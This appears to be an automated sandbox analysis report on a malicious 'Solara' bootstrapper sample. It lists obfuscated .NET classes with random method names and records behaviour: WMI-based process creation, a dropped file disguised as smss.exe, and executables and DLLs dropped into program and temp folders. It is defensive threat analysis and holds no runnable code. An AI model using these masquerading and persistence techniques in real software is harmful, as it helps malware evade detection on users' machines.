Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, SSjYincQSocx4DjGScg.cs	High entropy of concatenated method names: 'WGgHyS1UmO', 'Yvdctaw0eorsvuUC6V7', 'jZTn1hw8GoB4tdcShR2', 'xgNKAqwNMWApSanmDId', 'sTQcMnwIlVwW65tutdU', '_1fi', 'rJBg6aA7nD', '_676', 'IG9', 'mdP'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, b9uI2rr7lKWXPfg5sNP.cs	High entropy of concatenated method names: '_5u9', 'AMBpBpVCo5', 'MHIcSrdrdo', 'Xy8ptHZ1Yt', 'eHNaacarZgLeX6JQcHq', 'ExZtypapd3utAoousiK', 'N9FEp8ac6CUGTqdKmEj', 'E4X8VyaJ84SwxPvFSpL', 'hlwytjaDKcX4FnHXiBk', 'OmlhFyazOAl5oMjVQrn'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, Srw7m7xFVPoqpUvuEF.cs	High entropy of concatenated method names: '_66K', 'YZ8', 'O46', 'G9C', 'yyVxE8gxtlMoqFgqXBG', 'sRskCCgVv9yKLtRZ2kC', 'bkkBfmgqsM4peRcHSUX', 'vQWQwggvmFZQV7Gt2oq', 'E0Sf6TgOPVlA8wqZq6X', 'L7l1TFgFWcpSTuKPADE'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, H9Cs5xWGMaK4espJsYy.cs	High entropy of concatenated method names: 'fBUAq3MwLF', 'ltGAVsBiuj', 'a9XACIYEs8', 'BgcP9oV9JWxBOVB5VdS', 'EetIAWVbdjwOfIFlNxY', 'SUklZyVBjLafDpxrREO', 'kgoaIgVeW3cmyNRO1aF', 'CA2sAiVEwK0jecI0oh4', 'k6y5nuVfMNbVWA4K8LO', 'AllkcXV8G4ivlLvi995'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, CQ4jXWr4QTRQ7lOmRnQ.cs	High entropy of concatenated method names: 'xTSGvgAOoN', 'XfcGz4W6uk', 'po03i0awK8CRU3X841b', 'JHThpraMLa3NsVwtgDV', 'yPi3BEasBD47VbOkAMQ', 'TYBL67a6hyf5qsHL2RU'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, tHIXMEM2pYXm7lr65TB.cs	High entropy of concatenated method names: 'XYJkskgpHD', 'TbSk1mHIQq', 'hglku2EU9w', 'm6rkKMpL3g', 'eYUkyRwS3O', 'yfgkX7atGp', 'WZ5koBII5E', 'dAokr2CwvI', 'LUSk3kvih2', 'POskTkiJnU'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, R05qn4WkNsLeqgV7Xmw.cs	High entropy of concatenated method names: 'Fuh84GOvvC', 'oDF9MCOl8GQgcIWqRj8', 'hLYPINOgOH9RdYSaF8r', 'VO9idfOHMjHe75mpoVp', 'Wijk0sOUteAcwJjBShB', 'bYKqw5Odw3AY2rQxL5v', 'Yma7vwOPxlUaqt7mQW9', 'rUDHdHOC1jRrEF8WRd5', 'Wn82OcOjl2mNr5KCk20', 'RweHgTOhTC5yHpODAmU'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, sOvu2tWWyOOs4dlAdh3.cs	High entropy of concatenated method names: 'QfHANlqyXG', 'gCCAax3vKx', 'xPxAZaQB8E', 'iIWA6gBLA2', 'pgMA08OdbA', 'PtWADaNn24', 'R028J7qYMtm34HutP7M', 'FMUHXJq2xkFCdMqrWJt', 'TvwXxkqog3bAjrIW1Hg', 'jgdQ5QqR6t7fn830QI1'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, AjN1unMVtViH0qE5ytY.cs	High entropy of concatenated method names: 'VmwQuurdF8', 'LGTQKeKTpq', 'EIkQydbAdm', 'l1NQXVv8qV', 'h3tQoR5t02', 'E6LnRnQcvdWjdJMYX4a', 'fDor2TQzRt6fZ45v04d', 'I5MgVrQrrRUDhMs6V7u', 'n7IjXDQpbC6Br8IY4cP', 'vZnECcyApmmXJF7eCxm'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, AuvX9OB262crb32NQOx.cs	High entropy of concatenated method names: '_589', 'YZ8', '_491', 'G9C', 'bnYLHwxtQSi9jhOFUu7', 'q8iQl4x3YC60sjPokqY', 'dXmPF3x1trb7IoSuaGN', 'Gr2eVBxKK2GowWr9m3n', 'sOyWOcxXe50g5GcB4Si', 'vR8aEQxJgLQ746CTCxN'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, d88r3v21jAYa7byJAQ.cs	High entropy of concatenated method names: 'pHw', 'YZ8', 'v2R', 'G9C', 'sdm3kXdN1VslKYaYyeX', 'jsU80vdIZrdsV7VWthG', 'PSLpV7d0Lr9ZK4AIG9m', 'CPWLn4d8nbP6h3RBK0E', 'RucUtQd7C06RgB8bHR5', 'AA9r2md9nwp6rHF9lMU'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, n1faParBcWNVDv0eTRr.cs	High entropy of concatenated method names: 'DxCRYVnfEk', 'K18RWBticH', 'sWIRGMjGXV', 'P5pRpB8JFl', 'WnV2sj2zYCVe1AuJff3', 'JjYYwS2p0NVa23filGT', 'BdCoUa2cTCkaEikGlG1', 'EurpNPuAS6CTicLcFqq', 'oWvC4DuHwaQpOc03Jv9', 'YXEeXNuUCJM8JQKWmMb'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, HGToQXrDTrt4jbJWmgN.cs	High entropy of concatenated method names: 'znVMaQs4tI', 'dL2MZ5gT0Y', 'OeJM6qJWLy', 'F2ZqHGWZnDrqoPggrjB', 'JYFXWgWGoesrdWuwdPC', 'PNyfPNWiKTcBJGAWd1f', 'eoFvndWt2KnhWB4QkAT', 'OBoCFnW3gtodNUK71mr', 'MdKRxHW1GXTlGWguodL', 'PyTYiGWKZHAHhY2vWoo'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, nK8RZNrg3jbQEMCcMif.cs	High entropy of concatenated method names: 'KmFM0pHyKl', 'cLYMDf1hIL', 'C7jMJNGjW5', 'hjCM4JKQRF', 'IglMLNBhnr', 'KT2AhXSPfWKrltbbCSE', 'oCrVhsSCHB4lTf8yKBr', 'jPu6NkSguT9aNrNKXcx', 'tffLQQSd7xohNkIpZCI', 'qIX6GASjEgv3Kc4fcFX'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, HfFwcScPmbogZQdTfnH.cs	High entropy of concatenated method names: '_159', 'rI9', '_2Cj', 'xKUCqC1qMR', 'FifCVfojb0', 'ymwCCyamKR', 'DyeCgbbDF8', 'VMWCHqBL3o', 'ob1CYEstqH', 'HbpQFO6EcpF2LBhP4nH'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, K0FJg0BtKkvegj0iOVA.cs	High entropy of concatenated method names: '_6U6', 'YZ8', '_694', 'G9C', 'zgSqIUCu7iSdh5sEFKo', 'nZgiGGC5FLIBLlPKxOX', 'uRRjpiCWDBALpxZDQsf', 'eip4ERCS2hc9ljDFRKU', 'XvQnraCaK96mvaMtn7c', 'eRad5PCmPpa3CdJTSOi'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, KLdkHpjoOVrTyJVVpsv.cs	High entropy of concatenated method names: 'AJmldwvMZh', 'fTSlbURmBr', 'NYdle51l5c', 'REdiKCEB1XI0yAJGpll', 'zaUS4eE9RGVFtfcehsE', 'QIh6jXEbM5Ykm34wxHE', 'LjhSmdEe2VSBUoN3lQ8', 'uwio4YEE1sIikoC4fn4'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, uaLi5a7EqifwZL1TMS.cs	High entropy of concatenated method names: '_468', 'YZ8', '_2M1', 'G9C', 'L3XpMlgYlexJYrsldbH', 'XnqEJug2McaPUQrL6Dm', 'fdGMW2guEqMC8ts2uTt', 'fFYv8dg5qhbHDT98NVK', 'sPvmKRgW0U1kscUMc1v', 'omJw9xgS00HeHxLIsL3'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, HWy9NMBX52qMKfTSgd3.cs	High entropy of concatenated method names: 'gZRUbYqh0Z', 'x8hlTJLULcsuAasrM4X', 'oyh15dLlsX54v8U2nGT', 'dtwW7YLACp3nbtqOhsc', 'dbHG73LHBPHgUn61LsR', 'vQQIs4LgAt9yF5ClnmS', 'HLRrHlLdAQ24GqADrP9', 'k1xwZTLPsLXgvj3qO0N', 'omxUNXPItX', 'fpcclrLh7NeFEaTe51M'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, oaQ20QBAhKA18BILfNT.cs	High entropy of concatenated method names: 'kNf', 'YZ8', 'U31', 'G9C', 'ElTSuojBVC8RQPtFXaP', 'sjDCSWjeCNXXkVt4OKW', 'xq5XqXjEInAQ06mr9sh', 'jJXHXnjfC65tXAcflIZ', 'sP5cl1jk6CQ2GMu2d39', 'SQZ62Tj49R78x7oT7cM'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, MGHlA6W43Gl8mmEWbGF.cs	High entropy of concatenated method names: 'Yjn9MwMfnt', 'NEt9jsy5GY', 'FH7tRaYJV1LkE1CWK1e', 'SupA6sYDmVJhA5378Ey', 'jcVnTVYKlidS4qvRxhv', 'qtkvpOYXkQxFriZ6N0p', 'eOG92JCHp0', 'M8xPZw2Am7BF6ZuuHHo', 'c5aoEO2HNgxppjetkV8', 'yGjk7NYcHEHIP3MB0Js'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, nM53JSrz8GEttI4LNN6.cs	High entropy of concatenated method names: 'kSscgDrGa9', 'VVRcHFNlBO', 'A7EcYlNtMO', 'yHC808nscw0eONiHDsZ', 'cQrDeLn6LHUZeG44jbG', 'Vk3J5lnkvc0PqMZ9IIa', 'Wib12Jn4GksGJuhrZiB', 'XXtAsonwgDMu44UCdUP', 'OsiPBvnM25QxmnCcER3', 'PlPvqxnZscnFZqxHMlD'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, lR3WygB8mmfPmIl32ue.cs	High entropy of concatenated method names: 'O2VAiaRpFl', 'gyuAQRqgNY', 'myKnEPxVGWxEXhfnMwb', 'wL7SoOxL0ZhcuX55lQx', 'QTHyG3xxynBQ4f6nTmV', 'tDR2gDxqEUw4p08PJdU', 'Sf0HomxvYoiDf22c1VH', 'wkBnv1xOfcDEym1mahw', 'MA4u5xxFgBvln5OjUy3', 'lQN5jyxokRrR7VfvSj8'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, YImyXrciqxxYWgwI0Gw.cs	High entropy of concatenated method names: 'gq7VOLwSm1', 'P0CV5rK54t', 'CDFVE09ZLy', 'xMJVnGuKpu', 'yEZVIUvddZ', 'oEVktd4rQTMyn7F0Y7D', 'TSum0L4pELE9NION0mx', 'wya68y4cjOg4ZgZXZ6L', 'Amq8u14zG76EWQT2aAD', 'CXO9VfsAwKYn78skNJV'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, wl86TYc1WrVLa38kDXV.cs	High entropy of concatenated method names: '_7tu', '_8ge', 'DyU', '_58f', '_254', '_6Q3', '_7f4', 'B3I', '_75k', 'd4G'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, NbmBJZjpPsHXI3FqJ0d.cs	High entropy of concatenated method names: 'MQFlOSphUT', 'RUMl5BVLBg', 'pIx5XKeX7X6gT7lapw2', 'EhT1DEeJLSn0lkqb7kU', 'VXnCVGeDJ5VClFtREfD', 'abhhoTeropJLLjaPMBu', 'bWaWJsepuJBWD1rlxsT', 'odlpGtecZNsAoJ9bvd8', 'mSh012ezvvvmkqeh2gb', 'jlnbxvEAVvcVGMGoThF'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, OVwR94BspJj3dloNSdL.cs	High entropy of concatenated method names: 'Tx2APxH5ym', 'baXvcLVPMQVuE5eURhL', 'cedt9TVCcLwQE4KqJjO', 'bOCRGTVg2vKgsNhcZna', 'x0rHAgVdT0AJiESytdA', 'WLot3kVjM4p1Hw4tfgW', '_5q7', 'YZ8', '_6kf', 'G9C'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, n7Q4CMPpm2PKi4eS1e.cs	High entropy of concatenated method names: '_52Y', 'YZ8', 'Eg4', 'G9C', 'tVjoeWvxA', 'EoDwgWUuZSuZexiqqOE', 'fNCaXgU5O9cBASoEGN4', 'bUqCPJUWPHuPAEEtepY', 'or5RuRUSNQAjFlOZIMb', 'GWTcKUUaTumRSRdwWPc'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, rsrIQMJIKbd12ttm7A.cs	High entropy of concatenated method names: 'kcq', 'YZ8', '_4bQ', 'G9C', 'whRQMVdP6u3cjAwlEIj', 'DwKYFWdCATVfcwfOiis', 'x8nEgxdjS1bdVMuOaXl', 'MJfKWvdhjfVEblq4TNO', 'cED2DidLgHEjM765WXn', 'mo9XpadxxWvspIU1bQI'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, WVHMnac7ajEAhZwk7cR.cs	High entropy of concatenated method names: 'PJ1', 'jo3', 'u01Yjr2L69', 'AMtYcdB8fh', 'n3tYi4wupK', 'EC9', '_74a', '_8pl', '_27D', '_524'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, pgoXrJMnqpp1Zwp7MKO.cs	High entropy of concatenated method names: 'rDWFBvcDnU', 'jq2Ftx0AYV', 'XNpF9aWrmu', 'Gn1W7CyRW7dp2k2ZwhT', 'hAsOaTyYIOvKTcHeXTj', 'DHv8oByFR2gI51dMpZI', 'DNRTKuyoiFkfvnForqP', 'jQ2jjpy2AU9vFo0HRjQ', 'OWGEcjyuONVPVS4qnh2', 'Pyj4yby5BGym9jq4LMC'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, nY3Pe3YteIXKIXHi7t.cs	High entropy of concatenated method names: 'QpjlcFp1q', 'VT2qVmg16', 'aKRVnR9h8', 'v8hCV5cjF', 'sxUgE6HHH', 'MHdH3Cs1l', 'fpNYuPklZ', 'gIdQglHjKXHCSbbUpt1', 'q7rG1oHhioST5dBTqLe', 'MsHCuWHLPqg0ZlLiZku'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, oEgxpaBUDs0UXMfRGnM.cs	High entropy of concatenated method names: 'IX2UDuDn6m', 'NG3MZnLn5T0ueUBMssx', 'SiB9pkLQlT29SeBs1UP', 'VdgCSJLaRkdxTAq1cSs', 'dSiiJALmoj2gEgbME6L', 'AXgJ0lLybbGoRQTUaHt', 'QLw', 'YZ8', 'cC5', 'G9C'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, rfMXenBrOuKNkVFnriD.cs	High entropy of concatenated method names: 'R1x', 'YZ8', '_8U7', 'G9C', 'NkoLsNP0B6v5eoiNdbt', 'D4NUMrP8JT8rWPmG4oT', 'gZJgoBP7AKQdnkGZL2R', 'YPjyTHP97hFw1mSSYgq', 'B4Gxo0PbOsL31YYgUAL', 'nr0OA3PBTRWKjKKAifR'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, oO7WNxcy9yP0EAws8ug.cs	High entropy of concatenated method names: 'D4M', '_4DP', 'HU2', '_4Ke', '_5C9', '_7b1', 'lV5', 'H7p', 'V5L', '_736'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, PP0PE2anuuZ1INh7EA.cs	High entropy of concatenated method names: 'Smv1nyg8X', 'HB6uIJDPx', 'OnqK8V5ca', 'ID61tSHfER2sRDeel2b', 'MZeowUHetvcw61sK46U', 'XtMLYbHEu7NmYrgQRPq', 'mjVQFdHkql2PsSlnGiy', 'rWH44oH4No47hvA06Kk', 'Jaft2QHsPiggJWGq9kL', 'JqoMQXH6RXxjQTLeqyh'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, BajjupcoaHEyvD7XlTN.cs	High entropy of concatenated method names: 'DRmCjArkBS', 'lM8CcB0ZIn', 'hRaCiecIQA', '_3Gf', '_4XH', '_3mv', '_684', '_555', 'Z9E', 'MEGCQ9ot3q'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, kn9Qf0WforJrO7d1tXT.cs	High entropy of concatenated method names: 'lUn8zvZfo3', 'R9IBSXudQo', 'fLQBUiBUo8', 'X2MBAdv4oR', 'Ds2B8yIqUi', 'MobBBl6T9W', 'wa2BtXkbh5', 'Tj0B97LsQR', 'upyBRdTrgs', 'oEcBMtKj2Y'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, p7yfO38jwpuFBgg1p0.cs	High entropy of concatenated method names: 'P37', 'YZ8', 'b2I', 'G9C', 'B1NfIegwwilF20HuBDV', 'grdgumgMhn5REgqT5vk', 'AWqmCvgZT94fbwa3BSU', 'ILBwWjgGeo1gLd2T1yo', 'haGOcpgi1PWr4adoxmg', 'xF2eq8gtuMHdG9QThxO'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, yk9wnmrhF8BULbjNDMq.cs	High entropy of concatenated method names: 'AenMxmFekm', 'edkM1l6gh0', 'M26MuKZ46F', 'rWEYduWOxPtxNjKI3Je', 'Q6yy07WqfdYlnVGAOgb', 'LD6869Wv2qPkIJ1Em9P', 'WLdVDhWFSRl4M9VhV5Q', 'N7DMmvwrvo', 'l3SMhsJ9pv', 'VqmM2FTA72'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, yos6ZjML8lpJ2WgQQhL.cs	High entropy of concatenated method names: '_45b', 'ne2', '_115', '_3vY', 'NdX7S9NKBJ', '_3il', 'LlP7UwWM1b', 'rJK7AnWjms', '_78N', 'z3K'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, HcKeYpr8Qcyvbynv0Wy.cs	High entropy of concatenated method names: 'oYo', '_1Z5', 'hm3pRSh0o7', 'p1AcBxClWM', 'aSYpMdap8l', 'Jr4v1ymvYm8SvgRmjiN', 'Nlgl7nmO2ogqq95E8Ze', 'HIARu8mFSCKoyx4L5Ys', 'oUwJaBmo3own85yWNye', 'ikWxY0mRDuh1VMcFx36'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, vAZLthrMYHn2tiEtZZQ.cs	High entropy of concatenated method names: 'khIR3ewYCM', 'guxRTRyfYP', 'OIURdRVKEk', 'ofjRbklbyR', 'qKoRe2pt1j', 'l9FRND1SUQ', 'P2HBVTuICIUOPp7AkLI', 'UwxZ0TuTbLGdSNC5TVb', 'o0UGlCuNVI8xI6ItOcW', 'vUVZnMu0qMcrGlqD77x'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, QhTewtrx0ZtE5HNqBd4.cs	High entropy of concatenated method names: 'sg9', 'vVhpUi4K3T', 'CKrjsgyKSI', 'cSxpAm8vCq', 'muN4TuaiEHIk90wGsEq', 'oB59ryatifENQQROM1I', 'syMtHea3wCbos9ivelx', 'uMUrQdaZ7Sn2RY0Q4MT', 'Vl0cDYaG4RthHyQyGXb', 'VoeBOSa16tBpmsqhZfy'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, sl8weTsOb6p4MIacIS.cs	High entropy of concatenated method names: '_88Z', 'YZ8', 'ffV', 'G9C', 'fmRMq9dMlPCYVIZnx0T', 'dTlc9ndZG05Jhu65FqS', 'vC28fcdGqp5gArfWjtu', 'el5PaWdiadRQuubuhLi', 'rN0yPXdt3HpNNW0iHy3', 'T5Z10kd3p3g3ivE5eri'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, xwa3fWjrbxtMEVi5wmN.cs	High entropy of concatenated method names: 'Er9OVM9ayiNttgZPVF1', 'NpNPPX9mjp7O5NfNod1', 'jPElqf9WnqQRU52390M', 'na0A0l9SixiXnEBeyGZ', 'IZbOlqMOkj', 'ImZwyt9yn68c9GTEyjb', 'XYWFeZ9TKrCPL6iEIpJ', 'vcTRWZ9nqvsx8OwCSCf', 'tX65xH9QsHKlEyCEjDv', 'iCe3qu9N6rKerkNnBXa'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, BJgl9VWp2Zsm5JrA1IX.cs	High entropy of concatenated method names: 'I6J8pwPphH', 'd5s8xsAk33', 'dgU81ffwmY', 'D7P8ujSnNL', 'PIc8KTfMOZ', 'GGC8yQ5lex', 'yaU8XCwWK1', 'hLXb8dvnv6XeXeZGaV3', 'U2MJFKvawgU7yZ9rRmb', 'Kq8v31vmmQYki9wNJWA'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, IZdAEiH2yK3LxhCKGL.cs	High entropy of concatenated method names: '_0023C', 'IndexOf', '_0023D', 'Insert', '_0023E', 'RemoveAt', '_0023F', 'get_Item', '_0023G', 'set_Item'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, j10hDWBoSPwvWlO9n7E.cs	High entropy of concatenated method names: 'GvP', 'YZ8', 'bp6', 'G9C', 'oMYdDZheqyugkD6bkpa', 'tXceTXhEV3TUJDhnCnI', 'z5orH6hfi4bgx9p8uwm', 'tmRXwthk6dAUhZsvXyR', 'lvtPwih41koanrKmZca', 'EhXO5Shs0t62B4fj2V3'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, mdrs8PmxFjIDbcguv4.cs	High entropy of concatenated method names: 'g25', 'YZ8', '_23T', 'G9C', 'NakT7Mmgp', 'h42D0uUBlo06v9im8Bh', 'CxolmfUe87nyZngrguE', 'ERJJHYUERUwKTTTuSUL', 'um3oXgUfclc4W59RNWf', 'lTYB5BUkdY5yK35WRC1'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, PvSVkBMyHxO4FLUmLBC.cs	High entropy of concatenated method names: 'VfL7xYfZMY', 'HKE71FETHy', 'Uub7uRXd2t', 'gDn7KjHlvk', 'Bif7yA1BtC', 'ER32ZXTuoeASsokKEPs', 'jBBuu3TYOKJ63F2XNuQ', 'hd0iflT2CIqeyXY5Ul5', 'dkFoYLT5XtDf6FYvMei', 'qEZHY1TWeyIDOFLqwJm'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, Mm0m5MMta0yoaWbtaBv.cs	High entropy of concatenated method names: '_4J6', '_5Di', '_1y5', '_77a', '_1X1', '_7fn', 'OUK', '_8S4', 'wUn', '_447'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, TV2FSMcAxwLBrtoUtB1.cs	High entropy of concatenated method names: 'IGD', 'CV5', 'JkmVlft1on', '_3k4', 'elq', 'hlH', 'yc1', 'Y17', '_2QC', 'En1'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, SiU1DsMpTXSRwKJpTqM.cs	High entropy of concatenated method names: 'uxk', 'q7W', '_327', '_958', '_4Oz', 'r6z', 'r7o', 'Z83', 'L5N', 'VTw'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, AAQsvtBZRi879J0n7PM.cs	High entropy of concatenated method names: 'faiAUa8PFh', 'mwOAABFCvK', 'lJhA8mg2cR', 'GI3Jx2L1tUQGyN0Lwsi', 'NYXj8mLKnwoqT8jKk50', 'Yu02PCLtAWj6kYfHx6Q', 'XHYMSEL3yhnLtSWD8S5', 'AteKBbLXBf04WETA2n1', 'DHdQ5vLJJtpLtxfZcUn', 'neCTu6LDPGhOJa2oiaP'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, O37HlYBTIAO0EUS2Pdc.cs	High entropy of concatenated method names: 'Bu7UsTEKW8', 'gmSmRnLEfyKOYSi6SM7', 'erR845LfqP8twRLCacL', 'eQtdVZLBDdVySkxAB5I', 'NJnA76LegP9DWBCyVvk', 'nHK4uYLkKCNCgc9FaY2', '_3Xh', 'YZ8', '_123', 'G9C'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, W4CjHRW0JQUg2PACxmr.cs	High entropy of concatenated method names: 'LQYB7Y7Wxc', 'bmHBkAif4K', 'omSmORFnC6Jm7JavRHZ', 'wZpSKJFQ7Bt8xnSISKk', 'rletqaFaSJeGbD0i7C1', 'ftUSGHFmKffcrLc7PDw', 'aW2GB2Fyb4B8h11LISc', 'gkXSNwFTkCniSrmDs5q', 'IFTyVwFNyGgqNvmNKOa', 'ed8BvfFIklE8WNOWo15'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, zojT3oIt66YKwuQF0wi.cs	High entropy of concatenated method names: 'i3tpjI44qoyJP', 'VrT1E3ZFhRV4nYbwn3M', 'U0RLAbZocoo2Y1243CL', 'cIerHUZRBoCWO7ZOn2E', 'jD8rmAZYjS0k7fgkGC4', 'VVcmRXZ27IOXZABfyc5', 'uXFQljZv7g6s8DMeewr', 'ib5uh8ZOQv93I1adCM3', 's6xdn9ZuQMFiZpiIoRN', 'Ug4Sa4Z5qx8tsMB9ka0'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, qQA3Mn4XQ4ad9VeOGF.cs	High entropy of concatenated method names: '_23T', 'YZ8', 'ELp', 'G9C', 'TdSEbZlDeKIUatybf14', 'JxwvNslrDenqOXfPjOP', 'Hh0l9HlpIKsX5LXoWn5', 'E1aAG9lc53H4C8T09dF', 'UJDlyNlzuxEaV36djgK', 'WqbiOogARoKfVV6jRqe'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, h6hkrQWoMqFySJWrpq5.cs	High entropy of concatenated method names: 'dneBsW8VYF', 'AuhBvPPI52', 'eI1BzK4NhR', 'kMStS8V9R6', 'WsFtUPC3Wp', 'pnBtAGG75F', 'E3Gt82jSZP', 'oirtBIxgjM', 'FT4tt2Q2B2', 'WNQDU3oJUnODCGE9PlL'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, RT0dAdMsiLsTaP9tyYd.cs	High entropy of concatenated method names: 'FXWmqsxW0A', 'dl1mCXmZqN', 'Rr2m7vlCSl', 'n3gmkqQ726', 'F9ommMkYSJ', 'k64mhmVhlE', 'kbfm2EmEVs', 'hKvmwCxjFJ', 'b0NmfQsja0', 'ojQmPN5Nx0'
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, nKCpOJjvjpoWNqlGbkE.cs	High entropy of concatenated method names: '_14Y', 'b41', 'D7Y', 'xMq', 'i39', '_77u', '_4PG', '_5u8', 'h12', '_2KT'

Persistence and Installation Behavior

Creates processes via WMI

Source: C:\Media\fontreview.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Media\fontreview.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Media\fontreview.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Media\fontreview.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Media\fontreview.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Media\fontreview.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Media\fontreview.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Media\fontreview.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Media\fontreview.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Media\fontreview.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Media\fontreview.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Media\fontreview.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create

Drops PE files with benign system names

Source: C:\Media\fontreview.exe

File created: C:\Program Files\Uninstall Information\smss.exe

Jump to dropped file

Drops executable to a common third party application directory

Source: C:\Media\fontreview.exe

File written: C:\Program Files (x86)\Internet Explorer\en-US\oiDIGxjWBeQtCtbxHEXanoHsv.exe

Source: C:\ProgramData\SolaraBootstrapper.exe	File created: C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-locale-l1-1-0.dll	Jump to dropped file
Source: C:\ProgramData\SolaraBootstrapper.exe	File created: C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-runtime-l1-1-0.dll	Jump to dropped file
Source: C:\ProgramData\SolaraBootstrapper.exe	File created: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	File created: C:\ProgramData\Bootstrapper.exe	Jump to dropped file
Source: C:\ProgramData\SolaraBootstrapper.exe	File created: C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-math-l1-1-0.dll	Jump to dropped file
Source: C:\ProgramData\SolaraBootstrapper.exe	File created: C:\Users\user\AppData\Local\Temp\Solara.Dir\msvcp140.dll	Jump to dropped file
Source: C:\ProgramData\SolaraBootstrapper.exe	File created: C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-heap-l1-1-0.dll	Jump to dropped file
Source: C:\ProgramData\SolaraBootstrapper.exe	File created: C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-filesystem-l1-1-0.dll	Jump to dropped file
Source: C:\ProgramData\Bootstrapper.exe	File created: C:\ProgramData\SolaraBootstrapper.exe	Jump to dropped file
Source: C:\ProgramData\SolaraBootstrapper.exe	File created: C:\Users\user\AppData\Local\Temp\Solara.Dir\vcruntime140.dll	Jump to dropped file
Source: C:\ProgramData\SolaraBootstrapper.exe	File created: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe	Jump to dropped file
Source: C:\ProgramData\SolaraBootstrapper.exe	File created: C:\Users\user\AppData\Local\Temp\Solara.Dir\Newtonsoft.Json.dll	Jump to dropped file
